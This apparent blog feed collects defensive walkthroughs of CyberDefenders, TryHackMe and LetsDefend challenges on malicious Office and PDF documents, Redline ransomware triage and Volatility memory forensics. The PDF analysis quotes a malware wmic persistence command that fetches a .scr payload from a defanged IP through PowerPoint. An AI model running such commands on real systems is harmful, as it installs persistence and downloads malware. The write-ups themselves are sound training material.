found earlier. Let\u0026rsquo;s submit it and move on!\nQuestion 6: This document contains an obfuscated base64 encoded string; what value is used to pad (or obfuscate) this string? Fortunately, we found this Base64 encoded string back in Question 4 so we know the stream it is contained in. Let\u0026rsquo;s jump back to oledump and do a strings dump (-S) and output this to a file just to get a cleaner view.\noledump.py -s -S sample.bin \u0026gt; output.txt\nOnce open the text file and we see pretty quickly that a pattern emerges and we see a sequence of characters repeat continuously:\n*2342772g3\u0026amp;gsfq\nText output of the strings dump\nI am pretty confident this is the padding value we are looking for. Let\u0026rsquo;s confirm our suspicion and get to decoding!\nQuestion 7: What is the program executed by the base64 encoded string? Alright, let\u0026rsquo;s try to deobfuscate the string and break down the command. Let\u0026rsquo;s jump into CyberChef — I\u0026rsquo;m going to use the installed version in REMnux but the online version will work as well. We\u0026rsquo;ll copy the command from the output file we made from oledump and get to work!\nI\u0026rsquo;m going to try a simple find/replace operation to find the padding value that we located in the previous question and replace it with blank. Hopefully there is something left after it is stripped away that we can analyze\u0026hellip;\nWoah! Now that we have removed the padding we seem to have found the answer to Question 7! But, there is still some work to do to finish decoding the command this program will execute\u0026hellip;\nQuestion 8: What WMI class is used to create the process to launch the trojan? Let\u0026rsquo;s stick with CyberChef for this question and to try to decode that command. Since we know from the challenge that we are working with a Base64 encoded string, let\u0026rsquo;s start there.\nWe\u0026rsquo;ll copy the encoded command (not the program name from the previous question) into a new tab and apply the From Base64 operation into our recipe as a starting point:\nOnce we do that, it seems that we are getting closer and the script is starting to become readable but I think we can do better getting this cleaned up. Let\u0026rsquo;s add some flavor to the recipe and add remove null bytes, find/replace the ` , and to Lower case\u0026hellip;\nVoila! Our recipe:\nNow that we can clearly read this payload, we can really start to analyze it! For Question 8 we are searching for a \u0026quot; # \u0026ldquo;WMI class is used to create the process to launch the trojan.\u0026ldquo;Look closely toward the end of the code, we see reference to a Windows Management Instrumentation (WMI) class. I believe this is answer we are looking for as this particular class can be invoked to start a new process, script, or executable.\nQuestion 9: Multiple domains were contacted to download a trojan. Provide first FQDN as per the provided hint. Since we are already looking through our decoded command from the previous question, you probably already noticed quite a few Fully Qualified Domain Names (FQDN) in the output? This is what we are looking for!\nFor Question 9, we just need to browse through the code and submit the first FQDN listed. Once we have found it — let\u0026rsquo;s submit the answer and wrap up this challenge!\nConclusion: We made it! Great job!\nThank you to CyberDefenders.org for hosting another awesome challenge and providing an excellent opportunity to spend time to understand the OLE document structure and how a threat actor might arm an Office file. This was a really fun challenge to tackle with so much practical application to demonstrate how we as defenders can perform quick static analysis on a malicious document file with the help of some awesome tools like oledump \u0026amp; olevba.\nThank you so much for reading along and learning with me. I hope that you had as much fun as I did and learned something new, too. Stay curious!\nTools \u0026amp; References: REMnux Office Document Analysis Documentation: https://docs.remnux.org/discover-the-tools/analyze+documents/microsoft+office\nSANS Cheat Sheet for Analyzing Malicious Documents: https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/\nPhilippe Lagadec (decalage2) GitHub: https://github.com/decalage2\nOledump: https://blog.didierstevens.com/programs/oledump-py/\nOletools: https://www.decalage.info/python/oletools\nIntroduction to the Office Macro Editor, Part 2 — Microsoft Community\nCyberChef: https://gchq.github.io/CyberChef/\n","date":"2024-03-17T00:00:00Z","image":"/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/e59465769c656bcf83892732c6f30e02_MD5.jpg","permalink":"/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/","title":"CyberDefenders —  MalDoc101 Blue Team Lab Walkthrough"},{"content":"TryHackMe — Redline Endpoint Investigation Challenge Walkthrough Endpoint Investigation with the FireEye Redline Security Tool Image Credit: https://fireeye.market/apps/211364\nIntroduction: Hello! Thanks for joining me on this walkthrough. This week I am going through the Redline room on TryHackMe. FireEye Redline (not the info stealer malware) is an endpoint security memory analysis tool with file structure browsing capabilities, similar to Volatility (see my previous TryHackMe write-up), but with a nice GUI for navigation!\nAs always, this write up will serve as both a learning journal for me and a TryHackMe challenge walkthrough with some added context for anyone who stumbles on this post. To keep this focused, this walkthrough is only going to cover Task 7: Endpoint Investigation. In the spirit of learning, I will not be revealing the flags in this walkthrough but this is a FREE room so anyone can learn about Redline and perform the investigation along with me and find the answer on your own. Thanks for reading — hope it helps!\nChallenge Link: https://tryhackme.com/room/btredlinejoxr3d\nTask 7 : Endpoint Investigation Challenge Scenario:\nA Senior Accountant, Charles, is complaining that he cannot access the spreadsheets and other files he has been working on. He also mentioned that his wallpaper got changed with the saying that his files got encrypted. This is not good news!\nAre you ready to perform the memory analysis of the compromised host? You have all the data you need to do some investigation on the victim’s machine. Let’s go hunting!\nQuestion 1: Can you identify the product name of the machine? Okay, let’s see if we can help Charles. Fortunately, the analysis session has already been created for this challenge, so we simply need to open the investigation (.mans) file in Redline.\nOnce it (finally) opens, we have quite a few options explore in our Analysis Data menu. Let’s start with a high-level view of the victim machine to better understand the environment at the time of the data collection. The System Information tab has some great information including information about the Machine, OS, and User.\nIf we read through the information, I think we can find the answer to Question 1…\nQuestion 2: Can you find the name of the note left on the Desktop for the “Charles”? Okay, now that we have a better idea of the environment we are analyzing, we need to look for a “note” left for Charles. Since Charles complained that there was a message that his files were encrypted, we’re probably looking for a ransom note?\nThere are a couple of ways I think we can find it. Let’s try the path of least resistance first. We can simply try navigating to Charles’ Desktop through the File System tab and seeing what we find:\nFile System \u0026gt; Charles \u0026gt; Desktop\nOkay, this seems promising! We have a .txt file which is a standard plaintext document typically created by Notepad in a Windows environment. Let’s approach this another way and confirm that we have the correct file.\nIf we navigate to Processes on the Analysis Data panel, let’s look for Notepad. We can use the filter but in this case, it’s pretty easy to spot in the process list.\nLet’s double click the NOTEPAD.EXE process and see what additional information we can get.\nOkay, there we go! I think we found the answer we are looking for. It looks like some process spawned Notepad.exe to generate the note and drop it on Charles’ desktop.\nQuestion 3: Find the Windows Defender service; what is the name of its service DLL? Alright, moving right along. We need to locate a DLL for the Windows Defender service, so let’s go check out the Windows Services section of the analysis panel.\nWe have a couple of ways of locating this. We can filter all fields for Windows Defender or we can filter the Service DLL tab specifically.\nThis time around, let’s use the Service DLL column and filter for Windows Defender. This should get us the information we need.\nFiltering the Service DLL column.\nLet’s submit the answer and confirm:\nQuestion 4: The user manually downloaded a zip file from the web. Can you find the filename? Moving along, let’s see if we can determine the source of the ransomware infection. Let’s start with something obvious, like supposing that the user downloaded a file.\nWe can approach this in a similar way to Question 2. We will start by manually evaluating the artifacts in Charles’ download folder and then use the File Download History tab in the Analysis Data pane to confirm.\nLet’s use the File System tab and select the Downloads folder for Charles. If we quickly scan the folder we mostly see some forensic tools like FTK Imager, Wireshark, and Redline itself along with some incomplete downloads(the unconfirmed downloads), and Microsoft update files. There is one file that looks a little strange though…\nNow, let’s utilize the File Download History tab_._ We can search by the file extension .zip to search for the file we found during our manual review of the Downloads folder.\nLook at the first result. There is a manual download entry with an intriguing URL — Malware Bazaar. It appears Charles may have downloaded a malware sample.\nAccording to the Malware Bazaar website:\nMalwareBazaar is a project from abuse.ch with the goal of sharing malware samples with the infosec community, AV vendors and threat intelligence providers.\nVery interesting but for the purposes of this challenge, the file name column confirms our finding from the Downloads folder — we can go ahead and submit Question 4\nSide Note: Before we move onto the next question, let’s try to add some context by checking out the timeline to get a better idea of the series of events leading up to the download of the malware sample. I had previously combed through the timeline and tagged relevant (the orange tag) events to get a focused view of the incident.\nWhile this isn’t relevant for this challenge, this would be very interesting in a real world scenario. It’s possible that this sample was simply downloaded to create this challenge scenario but in the real world, we can’t rule out an insider threat since we have evidence of a Google search for a piece of malware under the user’s profile.\nQuestion 5: Provide the filename of the malicious executable that got dropped on the user’s Desktop. Let’s navigate back to Charles’ Desktop through the file system tree view where we found the ransom note. On the Desktop, we see two executable (.exe) files. One appears to be the Microsoft Office setup and the other seems a bit more suspicious…\nIn Question 6 we will do a bit more analysis on this executable but for now, let’s submit our answer:\nQuestion 6: Provide the MD5 hash for the dropped malicious executable. Now for the easy part! Simply double-click the file within the tree view to drill down into the Full Detailed Information for the file. Once the window loads, we will have some additional information about the file including a section for file hashes.\nWe can go ahead and submit the answer but keep that MD5 hash handy, as we will use it for some further IOC investigation in the next question.\nQuestion 7: What is the name of the ransomware? Okay, to fully determine the impact and remediate the incident, we need to identify exactly what malware we are investigating. Let’s start by taking the file hash of the malicious executable that we found in Question 6 and checking it against VirusTotal \u0026amp; _Hybrid Analysis t_o see if we get any hits that can help us:\nVirusTotal Result\nHybrid Analysis Result\nFortunately, we have a lot of detection for this particular executable. If we look through the labels and the details tab on these two services, we see a frequent name which identifies this malware family. I have a suspicion that this is the correct name for the ransomware but we can do a bit of Google reconnaissance to see if we can find any technical reports to provide further intelligence and confirm our findings.\nOnce we do that, we have enough information to answer Question 7 and conclude this investigation!\nConclusion: I think we now have enough information now to start the eradication and recovery phase for Charles! Great job!\nThank you to TryHackMe for hosting another awesome challenge and building out such a huge catalog of free rooms for the community. This room, while brief, was a thorough introduction to the Redline tool and gives you just enough hands-on time to understand it’s value in the DFIR process when comparing to Volatility for memory analysis. It never hurts to have some experience with a new tool to keep in your kit, after all!\nThank you so much for reading along and learning with me! I hope that you had as much fun as I did and learned something new, too. Stay curious!\nTools \u0026amp; References: Redline: https://fireeye.market/apps/211364\nTryHackMe: https://tryhackme.com/room/btredlinejoxr3d\nMalware Bazaar: https://bazaar.abuse.ch/\nHybrid Analysis: https://www.hybrid-analysis.com/search?query=Fe1bc60a95b2c2d77cd5d232296a7fa4\nVirusTotal: https://www.virustotal.com/gui/file/b3e1e9d97d74c416c2a30dd11858789af5554cf2de62f577c13944a19623777d\n","date":"2024-03-10T00:00:00Z","image":"/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/8a88ff8286b65b1e94d9e2a94bbedfc6_MD5.png","permalink":"/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/","title":"TryHackMe  —  Redline Endpoint Investigation Challenge Walkthrough"},{"content":"LetsDefend — PDF Analysis Challenge Walkthrough Analyzing a Malicious PDF Document with REMnux \u0026amp; Peepdf Image Credit: LetsDefend.io\nIntroduction: Hello — Thanks for joining me on this walkthrough! This week I am going to tackle the medium difficulty PDF Analysis Challenge on LetsDefend! This challenge should be a great opportunity to expand my PDF analysis skills and learn some new tools for my workflow. This time around, I am also checking out and using REMnux to work through this challenge_._ If you are unfamiliar, REMnux is a Linux distro built for malware analysis so we should have some cool tools to check out. As always, this write up will serve as both a learning journal for me and a LetsDefend challenge walkthrough for anyone who stumbles upon this post. Thanks for reading — hope it helps!\nChallenge Link: https://app.letsdefend.io/challenge/pdf-analysis\nChallenge Scenarios:\nAn employee has received a suspicious email:\nFrom: SystemsUpdate@letsdefend.io To: Paul@letsdefend.io Subject: Critical — Annual Systems UPDATE NOW Body: Please do the dutiful before the deadline today. Attachment: Update.pdf Password: letsdefend The employee has reported this incident to you as the analyst which has also forwarded the attachment to your SIEM. They have mentioned that they did not download or open the attachment as they found it very suspicious. They wish for you to analyze it further to verify its legitimacy.\nNOTE: Do not open in your local environment. It is a malicious file.\nThis challenge prepared by @DXploiter\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: First, I want to set the stage since this is my first time using REMnux. I\u0026rsquo;ll be referencing the excellent REMnux Documentation regularly in this post:\nhttps://docs.remnux.org/\nSecond, to keep this write-up focused I\u0026rsquo;m going to skip a step-by-step setup guide of REMnux. Instead, if you want to setup your own REMnux environment please follow the directions provided by REMnux directly.\nFor reference, I opted for the virtual appliance method:\nhttps://docs.remnux.org/install-distro/get-virtual-appliance\nOkay! Now that we have our environment created, updated, isolated, and snapshotted, we can extract our challenge file archive and get started!\nQuestions 1, 2, \u0026amp; 3 : What local directory name would have been targeted by the malware? What would have been the name of the file created by the payload? What file type would this have been if it were created? There are a couple of ways to approach this challenge that I am familiar with already, but since I am using a new environment for analysis, we\u0026rsquo;ll start by checking out the REMnux documentation and see what PDF specific analysis tools are available. https://docs.remnux.org/discover-the-tools/analyze+documents/pdf\nWow! There are quite a few tools we can use but before we dive in, let\u0026rsquo;s pull back a little. I want to point out an awesome reference poster that can help provide some context, the SANS Analyzing Malicious Documents cheat sheet. This is an incredibly helpful cheat sheet provides us with some quick, actionable tips for analyzing malicious documents.\nWe\u0026rsquo;ll start first with the tools that I am familiar with already and covered by the SANS cheat sheet — pdfid \u0026amp; pdf-parser. We can use these tools for basic analysis to get a high-level view of the malicious PDF document.\nAfter running pdfid \u0026amp; pdf-parser, we get some basic information about the malicious PDF. Something interesting to note are the three /OpenActions. Open actions are triggered when a PDF file is opened and could be abused by a bad actor to execute JavaScript, open a file/web page, etc. Let\u0026rsquo;s make a note of this finding as we go deeper into the investigation.\npdfid output.\npdf parser output.\nWhile helpful, these tools aren\u0026rsquo;t giving us the deep analysis context we are looking for. Let\u0026rsquo;s try peepdf, which the REMnux documentation states can be used to \u0026quot; # \u0026quot;\nexamine elements of the PDF file.\u0026quot;\nAfter reviewing the tool\u0026rsquo;s documentation and checking out the usage options, Let\u0026rsquo;s try it out and point it to the malicious PDF. We will use the -f option to force parsing of the file and ignore any errors that are encountered.\npeepdf -f /home/remnux/Challenges/pdfAnalysis/Update.pdf\nPeepdf output.\nThis gives us a nice overview with a bit more detail than we saw with pdfid, but we want to go even further. So, next, we\u0026rsquo;ll enter peepdf\u0026rsquo;s interactive mode with the -i option_._ Once we enter the interactive mode we\u0026rsquo;ll pull up the help menu and see what commands we have available to move forward.\npeepdf -i -f /home/remnux/Challenges/pdfAnalysis/Update.pdf\nLet\u0026rsquo;s first focus on the \u0026quot; # \u0026quot;\nsuspicious elements\u0026quot; flagged by the tool. Remember the three Open Actions we noted after running pdfid? Let\u0026rsquo;s try to analyze these objects more closely. After running peepdf we see under /OpenAction that there are three objects: 19, 26, \u0026amp; 17.\nLet\u0026rsquo;s go down the line and use the object command to show the decoded content — we\u0026rsquo;ll start with object 19.\nThis is very interesting! This object contains a Base 64 encoded PowerShell command. Let\u0026rsquo;s jump into CyberChef which is also built-in to REMnux. Maybe we can build a recipe that we can use to decode this script? Since we know the command is Base 64 encoded, let\u0026rsquo;s start there and apply a reverse operation and to get something readable:\nAwesome! We successfully extracted and decoded the malicious PowerShell command with CyberChef. With that, we can answer Questions 1, 2, \u0026amp; 3!\nQuestions 4, 5, 6: Which external web domain would the malware have attempted to interact with? Which HTTP method would it have used to interact with this service? What is the name of the obfuscation used for the Javascript payload? Let\u0026rsquo;s continue looking at the other /OpenAction objects and try to understand what they are doing. This time, we\u0026rsquo;ll focus on 17 — don\u0026rsquo;t worry we will circle back to 26 later.\nThis looks like it is pointing to something else at 33, maybe a stream within the object? Fortunately, peepdf also has a stream command we can use to show the decoded stream content.\nAfter running it, we get the above output. This looks like obfuscated JavaScript, right? We also see some readable strings referring to HTTP requests, specifically POST, and references to JSON. We are probably looking in the right place, since these are methods for transporting data from a client to a server.\nLet\u0026rsquo;s focus on the _eval()_ function_._ Here is some information from Mozilla:\nThe eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.\nWarning: Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use eval().\nThat sounds risky — it seems like this is an obfuscated payload where the _eval()_ function reads and then executes the string.\nLet\u0026rsquo;s pivot and refer back to the REMnux documentation to see if we can find a useful method to analyze scripts. Fortunately, there are a few tools listed, including JS Beautifier which can be used to \u0026quot; # \u0026quot;\nReformat JavaScript scripts for easier analysis.\u0026quot;\nWhile we can use the online version — let\u0026rsquo;s stay in REMnux and use the built-in utilities for fun. We\u0026rsquo;ll export the stream into a text file, feed it to JS-Beautify, and see if the tool deobfuscates the code in the output for further analysis\u0026hellip;\nThere we go! This looks like the information we need to answer Questions 4, 5, \u0026amp; 6!\nQuestions 7, 8, 9, 10, \u0026amp; 11: Which tool would have been used for creating the persistence mechanism? How often would the persistence be executed once Windows starts? (format: X.X hours)? Which LOLBin would have been used in the persistence method? What is the filename that would have been downloaded and executed using the LOLbin? Where would this have been downloaded from? (format: IP address) So let\u0026rsquo;s recap quickly. We have been doing deep dives into the /OpenAction we uncovered with peepdf and have already analyzed objects 17 \u0026amp; 19.\nNow, let\u0026rsquo;s return to our interactive peepdf console and check out the last of the /OpenActions, object 26.\nSurprise, surprise — more obfuscated code. It seems like this will attempt to execute some arbitrary code with PowerShell. Maybe we can do some dynamic analysis and actually run the code in PowerShell to understand what it does?\nFirst, we will export the code into a PowerShell (.ps1) script file. After reviewing the REMnux docs again, it looks like we have PowerShell core built in. This is perfect, we should be able to execute our script and have it print the output rather than execute the malicious code.\nEven though we are performing our analysis in a sandboxed environment without network access, we will change the Invoke-Expression $LoadCodeto Write-Output $LoadCodeso we aren\u0026rsquo;t executing the malicious code but writing the output to the console instead.\nSetting the .ps1 script to write output to the console.\nBadscript.ps1 PowerShell with Write-Output.\nExcellent — this output should provide us with enough information to answer the remaining questions for this challenge.\nFor Question 7, it looks like the script is abusing WMIC to create a persistence mechanism. For context, WMIC is an older command line tool used for interacting with Windows Management Instrumentation (WMI) which can be used to control and query Windows.\nAccording to MITRE ATT\u0026amp;CK this sub-technique (T1546.003) can be abused for persistence:\nAdversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.\nLet\u0026rsquo;s focus on some specifics in the output for the context of our investigation:\n**Query=\u0026quot; SELECT * FROM __InstanceModificationEvent WITHIN 9000 WHERE TargetInstance ISA €˜Win32_PerfFormattedData_PerfOS_System\u0026rsquo;\u0026quot; **\nwmic /NAMESPACE:\u0026quot; \\root\\subscription\u0026quot; PATH CommandLineEventConsumer CREATE Name=\u0026quot; RHWsZbGvlj\u0026quot; , ExecutablePath=\u0026quot; C:\\Program Files\\Microsoft Office\\root\\Office16\\Powerpnt.exe €˜hxxp://60.187.184.54/wallpaper482.scr\u0026rsquo;\nOkay, I\u0026rsquo;m going to stumble through an oversimplification here — It seems that the WMIC command is used to create an event subscription where every 9000 seconds (or 2.5 hours) the command line event consumer \u0026quot; # \u0026quot;\nRHWsZbGv1j\u0026quot; is triggered. This consumer launches the legitimate process, Powerpnt.exe. with the command line argument \u0026quot; # \u0026quot;\n**hxxp://60[.]187[.]184[.]54/wallpaper482[.]scr\u0026quot; ** to open the wallpaper482.scr file.\nWhew! Okay, now acouple of things to note here for our questions:\nSince PowerPoint (Powerpnt.exe) is a legitimate binary included with Microsoft Office, this is an example of the malicious file abusing a legitimate command for bad activity. This technique is an example of using a \u0026quot; # \u0026quot;\nliving off the land binary\u0026quot; or LOLbin.\nhxxp://60[.]187[.]184[.]54/wallpaper482[.]scr is a defanged URL so that it can\u0026rsquo;t be accidentally clicked — safety first!\nRegarding the wallpaper482 file — A .scr file, while normally used for Windows screen saver, is an executable file type and can contain malware. In this case, I think we can be pretty confident that it does!\nQuestion 12: Which country is this IP Address located in? Finally, we are at the last question! Now that we have the IP address where the persistence payload is retrieved, we can see what kind of geolocation intelligence we can gather about this IP address. We\u0026rsquo;ll check a couple of geolocation databases as the location data can vary depending on the method the database provider used to determine the geolocation.\nWe\u0026rsquo;ll start as usual with VirusTotal where we can see tentatively that the IP address is located in China.\nTo double-verify, we will also check the IP address using ipinfo.io.\nGeolocation data from https://ipinfo.io/\nOkay, double-confirmed! I think we can submit our answer and wrap up this investigation!\nConclusion: We made it! Thank you to LetsDefend for hosting another awesome challenge. This was a really fun one with so much practical application that can be taken back into the field including the opportunity to try out REMnux and perform analysis on a malicious PDF file with some awesome tools like pdfid, pdf-parser, and peepdf.\nThank you so much for reading along and learning with me! I hope that you had as much fun as I did and learned something new, too. Stay curious!\nTools \u0026amp; References: LetsDefend PDF Analysis Challenge: https://app.letsdefend.io/challenge/pdf-analysis\nREMNux: https://remnux.org/\nREMnux Documentation: https://docs.remnux.org/\nAdobe Open Actions Reference: https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html\nSANS Analyzing Malicious Documents Cheat Sheet: https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/\npdf-parser.py: https://blog.didierstevens.com/programs/pdf-tools/\npdfid.py: https://blog.didierstevens.com/programs/pdf-tools/\npeepdf: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool\nCyberChef: https://gchq.github.io/CyberChef/\nJavaScript eval function: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval\nMozilla Developer Network: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval\nJS Beautifier: https://beautifier.io/\nMITRE ATT\u0026amp;CK Event Triggered Execution: Windows Management Instrumentation Event Subscription: https://attack.mitre.org/techniques/T1546/003/\nVirusTotal: https://www.virustotal.com/\nIpinfo.io: https://ipinfo.io/\n","date":"2024-03-04T00:00:00Z","image":"/posts/letsdefend-pdf-analysis-challenge-walkthrough/03696008794e8aaa57065c3e8dfdd5f1_MD5.png","permalink":"/posts/letsdefend-pdf-analysis-challenge-walkthrough/","title":"LetsDefend — PDF Analysis Challenge Walkthrough"},{"content":"TryHackMe— Volatility Room Practical Challenge Walkthrough Endpoint Investigation with Volatility 3 Image Credit: https://github.com/volatilityfoundation\nIntroduction: Hello! Last week’s write-up was for the LetsDefend Memory Analysis room which was my introduction to the Volatility framework. This week, I am going to build on my knowledge and am writing up my learning with the excellent Volatility room on TryHackMe. The capstone of the room is a practical challenge with two cases.\nTryHackMe makes challenges like these very beginner-friendly and the coursework modules prior to the challenge will have you well-prepared. This challenge does require some additional, external research but it definitely helps to add context and spend more time on the DFIR process. In the spirit of learning and research I am not going to reveal the flags this time around but I will walk you through my process so you can recreate it yourself.\nI used Volatility 3 to complete this room but _g_oing forward I will use the terms Volatility 3 and Volatility interchangeably. This is a longer one, so get comfortable. Thanks for reading!\nChallenge Link: https://tryhackme.com/room/volatility\nChallenge Scenarios:\nCase 001 — BOB! THIS ISN’T A HORSE!\nYour SOC has informed you that they have gathered a memory dump from a quarantined endpoint thought to have been compromised by a banking trojan masquerading as an Adobe document. Your job is to use your knowledge of threat intelligence and reverse engineering to perform memory forensics on the infected host.\nYou have been informed of a suspicious IP in connection to the file that could be helpful. 41[.]168[.]5[.]140\nThe memory file is located in /Scenarios/Investigations/Investigation-1.vmem\nCase 002 — That Kind of Hurt my Feelings\nYou have been informed that your corporation has been hit with a chain of ransomware that has been hitting corporations internationally. Your team has already retrieved the decryption key and recovered from the attack. Still, your job is to perform post-incident analysis and identify what actors were at play and what occurred on your systems. You have been provided with a raw memory dump from your team to begin your analysis.\nThe memory file is located in /Scenarios/Investigations/Investigation-2.raw\nCase 001 — BOB! THIS ISN’T A HORSE! Questions 1 \u0026amp; 2: What is the build version of the host machine in Case 001? At what time was the memory file acquired in Case 001? Before we get started, I want to call out the Volatility 3 help command built into the tool. We’re going to lean on this a lot. This is a great way to explore what plugins are available and get a brief description of their functions. In some cases, the plugin itself may have its own set of help for optional arguments! Don’t worry, we will utilize these further in the challenge. For now, I will leave the help command here as a starting point if you’d prefer to navigate the challenge on your own.\npython3 vol.py -h\nOkay, let’s get started! While the challenge doesn’t specify it, I am going to assume that we are analyzing a memory dump from a Windows endpoint. If you have completed the preceding tasks already in the TryHackMe Volatility room, you will have come across a module that will help us get started with scoping the challenge and working through the case: windows.info\nAs a refresher, Task 6 states:\nIf we are still looking to get information about what the host is running from the memory dump, we can use the following three plugins _windows.info_ _linux.info_ _mac.info_. This plugin will provide information about the host from the memory dump.\nThis plugin is a good starting point for our investigation so that we can get some high-level details from the dump file and better understand our victim environment. When we run Volatility we’ll point to the challenge file path with the -f parameter and have it use the windows.info plugin.\npython3 vol.py -f /Scenarios/Investigations/Investigation-1.vmem windows.info\nOnce Volatility does its magic, we get the following output with some details of the memory dump.\nI think the NTBuildLab \u0026amp; SystemTime fields should answer questions 1 \u0026amp; 2 — let’s submit to confirm that we have the right answers:\nQuestion 3: What process can be considered suspicious in Case 001? Okay, now let’s get into the analysis and use Volatility to dig a bit deeper and understand the running processes on the victim system at the time the memory dump was taken. If we refer to the Volatility help again we have several process identification options.\nThe windows.pslist help file entry.\nLet’s go with the light-touch option first and simply list out the processes list using the windows.pslist plugin. We’ll see if we can find anything suspicious within our case file.\npython3 vol.py -f /Scenarios/Investigations/Investigation-1.vmem windows.pslist\nOkay, now we have our output, see anything odd? I mentioned this in my previous Volatility post, but typically when looking at a Windows process list, I like to refer to the SANS Hunt Evil reference poster to understand normal Windows processes which helps tremendously during analysis.\nFortunately, this is a pretty short list and one of these process sticks out to me. Let’s confirm our suspicion and submit the answer but before we do, pay attention to the note on the submissions page…\nNote: Certain special characters may not be visible on the provided VM. When doing a copy-and-paste, it will still copy all characters.\nWhile we are here, let’s make a special note to grab the process ID (PID) of the suspicious process as well, we will need this to answer Question 5. So now we have the PID as well, let’s copy directly from the virtual machine, and paste our answer!\nQuestions 4, 5, 6: What is the parent process of the suspicious process in Case 001? What is the PID of the suspicious process in Case 001? What is the parent process PID in Case 001? Good work! Now that we have located the suspicious process, these next few questions will be straightforward. We just need to look at the output of pslist and look at the information presented. These questions seem out of order to me but we’ll figure it out.\nLook at the columns in the output. We are going to focus on Process ID (PID), Parent Process ID (PPID), and ImageFileName. Using the information in these columns, we can determine the answers.\nQuestion 4 is looking for the ImageFileName of the parent process of the suspicious child process we located. To find it, search the pslist output and look at the PPID of the suspicious process (this could also answer Question 6…) Then, locate the process with the matching PID — this is the parent process and we can use the ImageFileName as our answer_._ Once you find it, make a note of the PID as well so we can have it ready for Question 6!\nRemember in Question 3 we made a note of the PID of the suspicious process? Now we can utilize it! Question 5 is asking for the PID of the suspicious process — easy enough, we will simply use the PID value of the suspicious process for our answer.\nWhew! We got them — let’s move on.\nQuestions 7 \u0026amp; 8: What user-agent was employed by the adversary in Case 001? Question 8: Was Chase Bank one of the suspicious bank domains found in Case 001? (Y/N) Cool, I haven’t had a chance to look at the networking modules in Volatility 3 yet. We’ll start with the information given in the challenge scenario:\nYou have been informed of a suspicious IP in connection to the file that could be helpful. _41.168.5.140_\nWe have an IP, let’s see if we can get any networking info with windows.netstat \u0026amp; windows.netscan. Hmmm, the version of Windows our memory dump was taken from doesn’t seem to be supported…\nLet’s pivot and try something else. If we scan through the help files again, there isn’t an obvious plugin that can work to search for this suspicious IP address though…\nWhat if we could dump out the suspicious processes’ memory map? Maybe we can get some additional information or perform further analysis about the contents of files opened by this process that are mapped to the memory address space…\nRemember that before we started the investigation, I mentioned that some plugins have optional arguments? Here is a good example.\nWe see that the memmap plugin has some additional options that will help us here. We can try dumping the suspicious process that we identified earlier. This time we are going to set an output directory with the -o parameter:\npython3 vol.py -f /Scenarios/Investigations/Investigation-1.vmem -o windows.memmap \u0026ndash;pid \u0026ndash;dump\nThis creates a dump file which contains way too much information for us to manually sift through. Let’s try to utilize the strings command in Ubuntu and grep our output to be a bit more focused.\nStrings is a command that searches the contents of a file for printable strings so it can help us pull out something human readable from the process dump.\nSo what are we going to grep? Well, if we read the question back, it asks for a user-agent so let’s just try that? If you aren’t familiar a user-agent headers are strings that servers use to identify requesting client details like the operating system or the web browser version. In this case, let’s use the -i argument to ignore case and just search for user-agent.\nAwesome! It looks like we found something useful for our investigation that should answer Question 7.\nNow let’s tackle Question 8 and wrap Case 001 up. Since we already have the memory map for the suspicious process, maybe we can try the same logic as we did for Question 7 and just grep out “Chase” — could that work? Try it and find out!\nsudo strings /home/thmanalyst/evidence/pid..dmp | grep -i \u0026ldquo;Chase\u0026rdquo;\nGreat! Now we can submit, and close the case before moving on to our next set of challenges in Case 002!\nCase 002 — That Kind of Hurt my Feelings Question 9: What suspicious process is running at PID 740 in Case 002? Okay! Case 002 is an analysis of a ransomware strain. Since we have the PID of the suspicious process already, let’s use the pslist plugin again and this time let’s grep only the suspicious PID:\npython3 vol.py -f /Scenarios/Investigations/Investigation-2.raw wind ows.pslist | grep 740\nInteresting. This file name seems like it might be related to a famous ransomware from a few years ago. Let’s keep that in mind as we move through the investigation. While we’re at it, let’s also make a note of the parent process ID (PPID) too we’ll need it in Question 12.\nQuestion 10: What is the full path of the suspicious binary in PID 740 in Case 002? Let’s try to locate the file path of the suspicious binary. We’ll first try to lean on our process plugs (pslist, psscan, \u0026amp; pstree) to see if we can find any information. Unfortunately, these commands aren’t giving us much additional information so we will go back to the Volatility 3 help and see if we can find a plugin that could help us.\nFrom the THM Task 7 Module:\nThis plugin will list all DLLs associated with processes at the time of extraction. This can be especially useful once you have done further analysis and can filter output to a specific DLL that might be an indicator for a specific type of malware you believe to be present on the system.\nThis could be useful to us from an investigative perspective but we also might get the file path of the binary that is loading the DLLs as well.\nAs a refresher, DLLs (Dynamic Link Library) are binary files that provide shared functionality for executables that can be called when required.\nFor the Windows operating systems, much of the functionality of the operating system is provided by DLL. Additionally, when you run a program on one of these Windows operating systems, much of the functionality of the program may be provided by DLLs. For example, some programs may contain many different modules, and each module of the program is contained and distributed in DLLs.\nLet’s give it a try and see what we can find.\npython3 vol.py -f /Scenarios/Investigations/Investigation-2.raw windows.dlllist | grep 740\nAwesome — this is exactly what we were looking for!\nQuestions 11 \u0026amp; 12: What is the parent process of PID 740 in Case 002? What is the suspicious parent process PID connected to the decryptor in Case 002? Alright, one step forward and two steps back. If you haven’t cleared your terminal yet, lets scroll back up to your pslist output from Question 9.\nTake a look at the PPID column for PID 740. Remember in Question 9 where I mentioned we might want to make a note of the PPID of the suspicious process? That’s what we need for Question 12.\nWe will use pslist again and grep the parent process ID. After that, this becomes a simple matching game like we saw in Case 001.\npython3 vol.py -f /Scenarios/Investigations/Investigation-2.raw wind ows.pslist | grep When reviewing the output, Question 11 is looking for the ImageFileName of the process_._ Have fun!\nQuestion 13: From our current information, what malware is present on the system in Case 002? Let’s get to Google for some research of the artifacts we’ve found so far. We’ll start by searching for something broad, like the specific 